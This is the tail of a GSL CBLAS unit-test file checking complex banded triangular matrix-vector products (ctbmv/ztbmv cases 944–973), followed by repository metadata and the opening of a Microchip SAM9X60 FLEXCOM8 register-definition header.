gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 944) imag"); }; }; }; { int order = 101; int trans = 113; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { -0.675f, 0.047f, 0.695f, 0.724f, -0.438f, 0.991f, -0.188f, -0.06f, -0.093f, 0.302f, 0.842f, -0.753f, 0.465f, -0.972f, -0.058f, 0.988f, 0.093f, 0.164f }; float X[] = { 0.065f, -0.082f, -0.746f, 0.775f, 0.694f, -0.954f }; int incX = -1; float x_expected[] = { 0.065f, -0.082f, -0.636071f, 0.80005f, 0.787748f, -1.14446f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 945) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 945) imag"); }; }; }; { int order = 102; int trans = 113; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { -0.675f, 0.047f, 0.695f, 0.724f, -0.438f, 0.991f, -0.188f, -0.06f, -0.093f, 0.302f, 0.842f, -0.753f, 0.465f, -0.972f, -0.058f, 0.988f, 0.093f, 0.164f }; float X[] = { 0.065f, -0.082f, -0.746f, 0.775f, 0.694f, -0.954f }; int incX = -1; float x_expected[] = { -1.18498f, -0.424201f, 0.230196f, 0.374209f, -0.208366f, -1.16549f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 946) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 946) imag"); }; }; }; { int order = 102; int trans = 113; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { -0.675f, 0.047f, 0.695f, 0.724f, -0.438f, 0.991f, -0.188f, -0.06f, -0.093f, 0.302f, 0.842f, -0.753f, 0.465f, -0.972f, -0.058f, 0.988f, 0.093f, 0.164f }; float X[] = { 0.065f, -0.082f, -0.746f, 0.775f, 0.694f, -0.954f }; int incX = -1; float x_expected[] = { -1.03519f, -0.446737f, -0.819232f, 0.995992f, 0.694f, -0.954f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 947) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 947) imag"); }; }; }; { int order = 102; int trans = 113; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { -0.675f, 0.047f, 0.695f, 0.724f, -0.438f, 0.991f, -0.188f, -0.06f, -0.093f, 0.302f, 0.842f, -0.753f, 0.465f, -0.972f, -0.058f, 0.988f, 0.093f, 0.164f }; float X[] = { 0.065f, -0.082f, -0.746f, 0.775f, 0.694f, -0.954f }; int incX = -1; float x_expected[] = { 0.109929f, 0.02505f, 0.062939f, -0.202464f, -0.470658f, 1.69006f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 948) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 948) imag"); }; }; }; { int order = 102; int trans = 113; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { -0.675f, 0.047f, 0.695f, 0.724f, -0.438f, 0.991f, -0.188f, -0.06f, -0.093f, 0.302f, 0.842f, -0.753f, 0.465f, -0.972f, -0.058f, 0.988f, 0.093f, 0.164f }; float X[] = { 0.065f, -0.082f, -0.746f, 0.775f, 0.694f, -0.954f }; int incX = -1; float x_expected[] = { 0.065f, -0.082f, -0.776809f, 0.762996f, 0.73663f, 0.124729f }; cblas_ctbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], flteps, "ctbmv(case 949) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], flteps, "ctbmv(case 949) imag"); }; }; }; { int order = 101; int trans = 111; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { -0.212, 0.612, 0.189, -0.046, -0.124, 0.82, 0.753, 0.727, 0.331, 0.116, 0.504, -0.673, -0.888, -0.277, -0.361, -0.909, 0.982, -0.124 }; double X[] = { 0.064, 0.169, -0.81, -0.779, -0.641, -0.103 }; int incX = -1; double x_expected[] = { -0.010019, -0.1678, -0.042017, -1.112094, 0.010004, -0.480427 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 950) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 950) imag"); }; }; }; { int order = 101; int trans = 111; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { -0.212, 0.612, 0.189, -0.046, -0.124, 0.82, 0.753, 0.727, 0.331, 0.116, 0.504, -0.673, -0.888, -0.277, -0.361, -0.909, 0.982, -0.124 }; double X[] = { 0.064, 0.169, -0.81, -0.779, -0.641, -0.103 }; int incX = -1; double x_expected[] = { 0.064, 0.169, -0.80842, -0.715637, -0.829924, -0.212971 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 951) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 951) imag"); }; }; }; { int order = 101; int trans = 111; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { -0.212, 0.612, 0.189, -0.046, -0.124, 0.82, 0.753, 0.727, 0.331, 0.116, 0.504, -0.673, -0.888, -0.277, -0.361, -0.909, 0.982, -0.124 }; double X[] = { 0.064, 0.169, -0.81, -0.779, -0.641, -0.103 }; int incX = -1; double x_expected[] = { 0.634014, 0.796937, -0.585538, -0.895375, -0.125887, 0.010019 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 952) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 952) imag"); }; }; }; { int order = 101; int trans = 111; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { -0.212, 0.612, 0.189, -0.046, -0.124, 0.82, 0.753, 0.727, 0.331, 0.116, 0.504, -0.673, -0.888, -0.277, -0.361, -0.909, 0.982, -0.124 }; double X[] = { 0.064, 0.169, -0.81, -0.779, -0.641, -0.103 }; int incX = -1; double x_expected[] = { 0.567497, 1.085122, -1.217792, -1.322566, -0.641, -0.103 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 953) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 953) imag"); }; }; }; { int order = 102; int trans = 111; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { -0.212, 0.612, 0.189, -0.046, -0.124, 0.82, 0.753, 0.727, 0.331, 0.116, 0.504, -0.673, -0.888, -0.277, -0.361, -0.909, 0.982, -0.124 }; double X[] = { 0.064, 0.169, -0.81, -0.779, -0.641, -0.103 }; int incX = -1; double x_expected[] = { 0.130517, -0.119185, -0.187765, -0.519609, -0.169484, -1.165438 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 954) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 954) imag"); }; }; }; { int order = 102; int trans = 111; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { -0.212, 0.612, 0.189, -0.046, -0.124, 0.82, 0.753, 0.727, 0.331, 0.116, 0.504, -0.673, -0.888, -0.277, -0.361, -0.909, 0.982, -0.124 }; double X[] = { 0.064, 0.169, -0.81, -0.779, -0.641, -0.103 }; int incX = -1; double x_expected[] = { 0.064, 0.169, -0.820019, -0.9468, -0.684597, -1.278457 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 955) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 955) imag"); }; }; }; { int order = 102; int trans = 111; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { -0.212, 0.612, 0.189, -0.046, -0.124, 0.82, 0.753, 0.727, 0.331, 0.116, 0.504, -0.673, -0.888, -0.277, -0.361, -0.909, 0.982, -0.124 }; double X[] = { 0.064, 0.169, -0.81, -0.779, -0.641, -0.103 }; int incX = -1; double x_expected[] = { -0.187765, -0.519609, -0.169484, -1.165438, 0.198928, -0.370456 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 956) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 956) imag"); }; }; }; { int order = 102; int trans = 111; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { -0.212, 0.612, 0.189, -0.046, -0.124, 0.82, 0.753, 0.727, 0.331, 0.116, 0.504, -0.673, -0.888, -0.277, -0.361, -0.909, 0.982, -0.124 }; double X[] = { 0.064, 0.169, -0.81, -0.779, -0.641, -0.103 }; int incX = -1; double x_expected[] = { -0.113746, -0.182809, -0.935887, -0.768981, -0.641, -0.103 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 957) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 957) imag"); }; }; }; { int order = 101; int trans = 112; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { -0.374, -0.308, 0.792, 0.884, -0.794, -0.055, -0.281, 0.527, 0.246, 0.762, 0.853, 0.891, -0.231, 0.384, 0.373, -0.717, -0.957, -0.338 }; double X[] = { 0.884, 0.636, 0.921, 0.282, -0.649, 0.188 }; int incX = -1; double x_expected[] = { -0.436746, 0.963714, -1.087615, -0.018695, 0.30063, 0.12958 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 958) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 958) imag"); }; }; }; { int order = 101; int trans = 112; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { -0.374, -0.308, 0.792, 0.884, -0.794, -0.055, -0.281, 0.527, 0.246, 0.762, 0.853, 0.891, -0.231, 0.384, 0.373, -0.717, -0.957, -0.338 }; double X[] = { 0.884, 0.636, 0.921, 0.282, -0.649, 0.188 }; int incX = -1; double x_expected[] = { 0.895682, 1.407174, 0.2408, -0.14282, -0.649, 0.188 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 959) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 959) imag"); }; }; }; { int order = 101; int trans = 112; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { -0.374, -0.308, 0.792, 0.884, -0.794, -0.055, -0.281, 0.527, 0.246, 0.762, 0.853, 0.891, -0.231, 0.384, 0.373, -0.717, -0.957, -0.338 }; double X[] = { 0.884, 0.636, 0.921, 0.282, -0.649, 0.188 }; int incX = -1; double x_expected[] = { 0.785744, -0.3966, -0.436746, 0.963714, -1.087615, -0.018695 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 960) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 960) imag"); }; }; }; { int order = 101; int trans = 112; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { -0.374, -0.308, 0.792, 0.884, -0.794, -0.055, -0.281, 0.527, 0.246, 0.762, 0.853, 0.891, -0.231, 0.384, 0.373, -0.717, -0.957, -0.338 }; double X[] = { 0.884, 0.636, 0.921, 0.282, -0.649, 0.188 }; int incX = -1; double x_expected[] = { 0.884, 0.636, 0.472572, 0.47454, -1.056415, 0.594125 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 961) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 961) imag"); }; }; }; { int order = 102; int trans = 112; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { -0.374, -0.308, 0.792, 0.884, -0.794, -0.055, -0.281, 0.527, 0.246, 0.762, 0.853, 0.891, -0.231, 0.384, 0.373, -0.717, -0.957, -0.338 }; double X[] = { 0.884, 0.636, 0.921, 0.282, -0.649, 0.188 }; int incX = -1; double x_expected[] = { 0.464705, -0.108078, 0.094975, 0.376323, -0.6802, -0.42482 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 962) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 962) imag"); }; }; }; { int order = 102; int trans = 112; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { -0.374, -0.308, 0.792, 0.884, -0.794, -0.055, -0.281, 0.527, 0.246, 0.762, 0.853, 0.891, -0.231, 0.384, 0.373, -0.717, -0.957, -0.338 }; double X[] = { 0.884, 0.636, 0.921, 0.282, -0.649, 0.188 }; int incX = -1; double x_expected[] = { 0.562961, 0.924522, 1.004293, -0.112851, -0.649, 0.188 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 963) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 963) imag"); }; }; }; { int order = 102; int trans = 112; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { -0.374, -0.308, 0.792, 0.884, -0.794, -0.055, -0.281, 0.527, 0.246, 0.762, 0.853, 0.891, -0.231, 0.384, 0.373, -0.717, -0.957, -0.338 }; double X[] = { 0.884, 0.636, 0.921, 0.282, -0.649, 0.188 }; int incX = -1; double x_expected[] = { -0.448428, 0.19254, -0.674583, 1.236189, 0.780774, 1.167088 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 964) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 964) imag"); }; }; }; { int order = 102; int trans = 112; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { -0.374, -0.308, 0.792, 0.884, -0.794, -0.055, -0.281, 0.527, 0.246, 0.762, 0.853, 0.891, -0.231, 0.384, 0.373, -0.717, -0.957, -0.338 }; double X[] = { 0.884, 0.636, 0.921, 0.282, -0.649, 0.188 }; int incX = -1; double x_expected[] = { 0.884, 0.636, 0.653832, 1.112064, -0.168856, 1.225508 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 965) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 965) imag"); }; }; }; { int order = 101; int trans = 113; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.002, 0.95, -0.363, 0.084, -0.646, 0.816, -0.407, 0.099, -0.02, -0.906, -0.874, 0.191, -0.328, -0.968, 0.79, 0.826, -0.795, 0.277 }; double X[] = { -0.591, -0.084, 0.707, 0.945, 0.326, 0.428 }; int incX = -1; double x_expected[] = { -0.59515, 0.077106, -0.27658, -0.637356, 0.407252, -0.308844 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 966) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 966) imag"); }; }; }; { int order = 101; int trans = 113; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.002, 0.95, -0.363, 0.084, -0.646, 0.816, -0.407, 0.099, -0.02, -0.906, -0.874, 0.191, -0.328, -0.968, 0.79, 0.826, -0.795, 0.277 }; double X[] = { -0.591, -0.084, 0.707, 0.945, 0.326, 0.428 }; int incX = -1; double x_expected[] = { -1.46131, 0.537642, 0.624614, 0.762252, 0.326, 0.428 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 967) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 967) imag"); }; }; }; { int order = 101; int trans = 113; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.002, 0.95, -0.363, 0.084, -0.646, 0.816, -0.407, 0.099, -0.02, -0.906, -0.874, 0.191, -0.328, -0.968, 0.79, 0.826, -0.795, 0.277 }; double X[] = { -0.591, -0.084, 0.707, 0.945, 0.326, 0.428 }; int incX = -1; double x_expected[] = { -0.536274, 0.421806, -0.59515, 0.077106, -0.27658, -0.637356 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 968) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 968) imag"); }; }; }; { int order = 101; int trans = 113; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.002, 0.95, -0.363, 0.084, -0.646, 0.816, -0.407, 0.099, -0.02, -0.906, -0.874, 0.191, -0.328, -0.968, 0.79, 0.826, -0.795, 0.277 }; double X[] = { -0.591, -0.084, 0.707, 0.945, 0.326, 0.428 }; int incX = -1; double x_expected[] = { -0.591, -0.084, 0.98216, 0.400464, 0.131806, -0.026608 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 969) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 969) imag"); }; }; }; { int order = 102; int trans = 113; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.002, 0.95, -0.363, 0.084, -0.646, 0.816, -0.407, 0.099, -0.02, -0.906, -0.874, 0.191, -0.328, -0.968, 0.79, 0.826, -0.795, 0.277 }; double X[] = { -0.591, -0.084, 0.707, 0.945, 0.326, 0.428 }; int incX = -1; double x_expected[] = { -1.68293, 0.796222, -0.96062, 0.415172, -0.082386, -0.182748 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 970) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 970) imag"); }; }; }; { int order = 102; int trans = 113; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.002, 0.95, -0.363, 0.084, -0.646, 0.816, -0.407, 0.099, -0.02, -0.906, -0.874, 0.191, -0.328, -0.968, 0.79, 0.826, -0.795, 0.277 }; double X[] = { -0.591, -0.084, 0.707, 0.945, 0.326, 0.428 }; int incX = -1; double x_expected[] = { -1.737656, 0.290416, 0.61669, 0.73853, 0.326, 0.428 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 971) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 971) imag"); }; }; }; { int order = 102; int trans = 113; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; double A[] = { 0.002, 0.95, -0.363, 0.084, -0.646, 0.816, -0.407, 0.099, -0.02, -0.906, -0.874, 0.191, -0.328, -0.968, 0.79, 0.826, -0.795, 0.277 }; double X[] = { -0.591, -0.084, 0.707, 0.945, 0.326, 0.428 }; int incX = -1; double x_expected[] = { 0.27516, -0.544536, -0.10627, -0.988374, 0.229991, -0.711267 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 972) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 972) imag"); }; }; }; { int order = 102; int trans = 113; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; double A[] = { 0.002, 0.95, -0.363, 0.084, -0.646, 0.816, -0.407, 0.099, -0.02, -0.906, -0.874, 0.191, -0.328, -0.968, 0.79, 0.826, -0.795, 0.277 }; double X[] = { -0.591, -0.084, 0.707, 0.945, 0.326, 0.428 }; int incX = -1; double x_expected[] = { -0.591, -0.084, 0.794924, 0.411234, 0.148739, 0.025577 }; cblas_ztbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[2*i], x_expected[2*i], dbleps, "ztbmv(case 973) real"); gsl_test_rel(X[2*i+1], x_expected[2*i+1], dbleps, "ztbmv(case 973) imag"); }; }; }; }
f82780a6386b0359115e34eff69fba51e661b0fc
05819963250c2ae0ba59ffef48d7c99a5b6b7cfd
/target/sam9x60/instance/flexcom8.h
b3e60c42e00aa39d6b00b9b08b4f9b857cc0d602
[ "LicenseRef-scancode-bsd-atmel" ]
permissive
atmelcorp/atmel-software-package
cefa3213069995d453d3b47b8b3aa7a7aca683ac
e0428c7c8175a42a2460cff27bb0501db0bbe160
refs/heads/master
2023-04-13T16:34:56.181081
2023-04-06T17:30:10
2023-04-11T06:05:12
47,840,424
117
94
NOASSERTION
2022-10-20T03:07:15
2015-12-11T17:18:56
C
UTF-8
C
false
false
21,259
h
flexcom8.h
/* ---------------------------------------------------------------------------- */ /* Microchip Microcontroller Software Support */ /* SAM Software Package License */ /* ---------------------------------------------------------------------------- */ /* Copyright (c) %copyright_year%, Microchip Technology Inc. */ /* */ /* All rights reserved. */ /* */ /* Redistribution and use in source and binary forms, with or without */ /* modification, are permitted provided that the following condition is met: */ /* */ /* - Redistributions of source code must retain the above copyright notice, */ /* this list of conditions and the disclaimer below. */ /* */ /* Microchip's name may not be used to endorse or promote products derived from */ /* this software without specific prior written permission. */ /* */ /* DISCLAIMER: THIS SOFTWARE IS PROVIDED BY MICROCHIP "AS IS" AND ANY EXPRESS */ /* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES */ /* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT */ /* ARE DISCLAIMED. IN NO EVENT SHALL MICROCHIP BE LIABLE FOR ANY DIRECT, */ /* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES */ /* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; */ /* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND */ /* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT */ /* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF */ /* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* ---------------------------------------------------------------------------- */ #ifndef _SAM9X_FLEXCOM8_INSTANCE_ #define _SAM9X_FLEXCOM8_INSTANCE_ /* ========== Register definition for FLEXCOM8 peripheral ========== */ #if (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__)) #define REG_FLEXCOM8_MR (0xF8018000U) /**< \brief (FLEXCOM8) FLEXCOM Mode Register */ #define REG_FLEXCOM8_RHR (0xF8018010U) /**< \brief (FLEXCOM8) FLEXCOM Receive Holding Register */ #define REG_FLEXCOM8_THR (0xF8018020U) /**< \brief (FLEXCOM8) FLEXCOM Transmit Holding Register */ #define REG_FLEXCOM8_US_CR (0xF8018200U) /**< \brief (FLEXCOM8) USART Control Register */ #define REG_FLEXCOM8_US_MR (0xF8018204U) /**< \brief (FLEXCOM8) USART Mode Register */ #define REG_FLEXCOM8_US_IER (0xF8018208U) /**< \brief (FLEXCOM8) USART Interrupt Enable Register */ #define REG_FLEXCOM8_US_IDR (0xF801820CU) /**< \brief (FLEXCOM8) USART Interrupt Disable Register */ #define REG_FLEXCOM8_US_IMR (0xF8018210U) /**< \brief (FLEXCOM8) USART Interrupt Mask Register */ #define REG_FLEXCOM8_US_CSR (0xF8018214U) /**< \brief (FLEXCOM8) USART Channel Status Register */ #define REG_FLEXCOM8_US_RHR (0xF8018218U) /**< \brief (FLEXCOM8) USART Receive Holding Register */ #define REG_FLEXCOM8_US_THR (0xF801821CU) /**< \brief (FLEXCOM8) USART Transmit Holding Register */ #define REG_FLEXCOM8_US_BRGR (0xF8018220U) /**< \brief (FLEXCOM8) USART Baud Rate Generator Register */ #define REG_FLEXCOM8_US_RTOR (0xF8018224U) /**< \brief (FLEXCOM8) USART Receiver Timeout Register */ #define REG_FLEXCOM8_US_TTGR (0xF8018228U) /**< \brief (FLEXCOM8) USART Transmitter Timeguard Register */ #define REG_FLEXCOM8_US_FIDI (0xF8018240U) /**< \brief (FLEXCOM8) USART FI DI Ratio Register */ #define REG_FLEXCOM8_US_NER (0xF8018244U) /**< \brief (FLEXCOM8) USART Number of Errors Register */ #define REG_FLEXCOM8_US_IF (0xF801824CU) /**< \brief (FLEXCOM8) USART IrDA Filter Register */ #define REG_FLEXCOM8_US_MAN (0xF8018250U) /**< \brief (FLEXCOM8) USART Manchester Configuration Register */ #define REG_FLEXCOM8_US_LINMR (0xF8018254U) /**< \brief (FLEXCOM8) USART LIN Mode Register */ #define REG_FLEXCOM8_US_LINIR (0xF8018258U) /**< \brief (FLEXCOM8) USART LIN Identifier Register */ #define REG_FLEXCOM8_US_LINBRR (0xF801825CU) /**< \brief (FLEXCOM8) USART LIN Baud Rate Register */ #define REG_FLEXCOM8_US_LONMR (0xF8018260U) /**< \brief (FLEXCOM8) USART LON Mode Register */ #define REG_FLEXCOM8_US_LONPR (0xF8018264U) /**< \brief (FLEXCOM8) USART LON Preamble Register */ #define REG_FLEXCOM8_US_LONDL (0xF8018268U) /**< \brief (FLEXCOM8) USART LON Data Length Register */ #define REG_FLEXCOM8_US_LONL2HDR (0xF801826CU) /**< \brief (FLEXCOM8) USART LON L2HDR Register */ #define REG_FLEXCOM8_US_LONBL (0xF8018270U) /**< \brief (FLEXCOM8) USART LON Backlog Register */ #define REG_FLEXCOM8_US_LONB1TX (0xF8018274U) /**< \brief (FLEXCOM8) USART LON Beta1 Tx Register */ #define REG_FLEXCOM8_US_LONB1RX (0xF8018278U) /**< \brief (FLEXCOM8) USART LON Beta1 Rx Register */ #define REG_FLEXCOM8_US_LONPRIO (0xF801827CU) /**< \brief (FLEXCOM8) USART LON Priority Register */ #define REG_FLEXCOM8_US_IDTTX (0xF8018280U) /**< \brief (FLEXCOM8) USART LON IDT Tx Register */ #define REG_FLEXCOM8_US_IDTRX (0xF8018284U) /**< \brief (FLEXCOM8) USART LON IDT Rx Register */ #define REG_FLEXCOM8_US_ICDIFF (0xF8018288U) /**< \brief (FLEXCOM8) USART IC DIFF Register */ #define REG_FLEXCOM8_US_CMPR (0xF8018290U) /**< \brief (FLEXCOM8) USART Comparison Register */ #define REG_FLEXCOM8_US_FMR (0xF80182A0U) /**< \brief (FLEXCOM8) USART FIFO Mode Register */ #define REG_FLEXCOM8_US_FLR (0xF80182A4U) /**< \brief (FLEXCOM8) USART FIFO Level Register */ #define REG_FLEXCOM8_US_FIER (0xF80182A8U) /**< \brief (FLEXCOM8) USART FIFO Interrupt Enable Register */ #define REG_FLEXCOM8_US_FIDR (0xF80182ACU) /**< \brief (FLEXCOM8) USART FIFO Interrupt Disable Register */ #define REG_FLEXCOM8_US_FIMR (0xF80182B0U) /**< \brief (FLEXCOM8) USART FIFO Interrupt Mask Register */ #define REG_FLEXCOM8_US_FESR (0xF80182B4U) 